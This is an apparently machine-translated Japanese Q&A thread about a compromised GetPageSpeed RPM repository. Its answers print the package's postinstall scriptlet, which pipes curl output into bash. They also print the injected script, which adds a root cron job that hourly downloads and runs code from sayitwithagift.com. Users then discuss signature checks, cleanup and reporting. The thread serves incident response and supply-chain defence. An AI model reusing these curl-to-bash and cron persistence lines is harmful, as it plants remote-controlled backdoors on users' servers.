このRPMをインストールすると、どのようにしてファイルが作成されましたか?


16

実行yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmすると作成されます/etc/cron.d/sysstat2が、RPMはファイルを否認します。

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPMはどのようにしてファイルを作成し、他に何が行われたのかをどのように確認しますか?


4
それで、これらのGetPageSpeedの人々は所有していて、それを知らないのでしょうか、それとも悪いRPMを自分で公開しているのでしょうか?
アーロンコプリー

1
3か月前にサイトからインストールしたRPMは良好でした。悪意のあるものは昨日投稿されました。私はそれらが所有されていたと思う、そして彼らのレポを使用している人は誰でも所有されている。悪意のあるものは、yum updateによってダウンしています。お問い合わせフォームからメールとメッセージを送信しました。
パスカル

そして、それも彼らによって署名されていますか?
アーロンコプリー

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpm元のファイルであり、まだレポに古い日付があり、そこにgpgcheck=1設定されています。
パスカル

1
YMMVがどのような応答を受け取るかについては、sayitwithagift.comのWeb管理者にも問い合わせることをお勧めします。私は、Webサイト自体が応答しなかったため、Webサイトのホスティングプロバイダーを経由して、誤って混乱したメールサーバーについて連絡を取りました。
ダレン

回答:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php 含まれるもの:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

rpmのスクリプトがインターネットからスクリプトを実行し、そのスクリプトが現在マルウェアである可能性のあるものにリダイレクトしていることを発見しました。しかし、私は何もしないペイロードの多くを見つけていません。

rpmは、任意のスクリプトを実行しているため、何が起こったかを完全に追跡できません。

gpgcheckはあなたを助けにはなりません、両方getpagespeed-extras-7-6.el7.gps.noarch.rpmgetpagespeed-extras-release-7-1.el7.gps.noarch.rpmあなたは、有効な署名を持っているように見えるリンク:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

パッケージがインターネットから任意のコードを実行することをリポジトリ所有者に訴えます。そうする必要がある場合、ソフトウェアサプライチェーンのセキュリティを改善する必要があります。

インターネットにアクセスせずにソフトウェアの最初のインストールを実行するか、「インストール後」スクリプトを手動で検査するのは少し妄想的です。ただし、パッケージがこのような不適切なトリックを行う場合、残念ながらほとんど必要と思われます。


ペイロードは、「sayitwithagift.com/pwn.php」を1時間ごとにダウンロードして実行するcronジョブです。現在は何もありませんが、いつでも変更される可能性があります。RPMを削除しても、ペイロードは削除されません。
パスカル

元のRPMにはポストインストールスクリプトレットがありませんでした。昨日(おそらくハッカーによって)アップロードされたバージョンのみが行います。
パスカル

1
インターネットコードエグゼクティブからの追加が正当なアイデアであるか、マルウェアクルーによって追加されたかは不明です。後者は、署名とアップロードのプロセスが危険にさらされたことを意味するため、さらに悪化します。
ジョンマハワルド

1

Engintron経由でNginxを使用していたCLoudLinux / cPanelサーバーが5台ありますが、LiteSpeed Webサーバーを代わりに実行するようになりました。Engintronは、アンインストールされたときにpagesppedリポジトリを残した可能性があると思います。cPanelは毎晩更新チェックを実行し、真夜中頃にすべてのサーバーから電子メールレポートが送信されました。

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

ペイロードサイトを検索した結果、ここで同じ日に問題が発生したことがわかりました。だからあなた自身に私の情報を追加します。同じ/etc/cron.d/sysstat2ファイルがすべてのサーバーに存在しました。

ファイルを削除し、リポジトリを削除し、GetPageSpeedの連絡先フォームを使用して問題を報告しました。レポの所有者は、健康上の問題のためにレポを閉鎖しているというブログ投稿があったので、AWOLかもしれません。そのため、攻撃者はレポが注目されていないという事実を利用したか、悪用される可能性のあるドアを見つけた可能性があります。


1
リポジトリのシャットダウンに関するメッセージは、侵害されたという私のメールを受け取った後に投稿されました。私は彼に再びリポジトリを開いて削除するために更新されたパッケージを投稿するように頼んだ/etc/cron.d/sysstat2。彼はそうしました。
パスカル
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.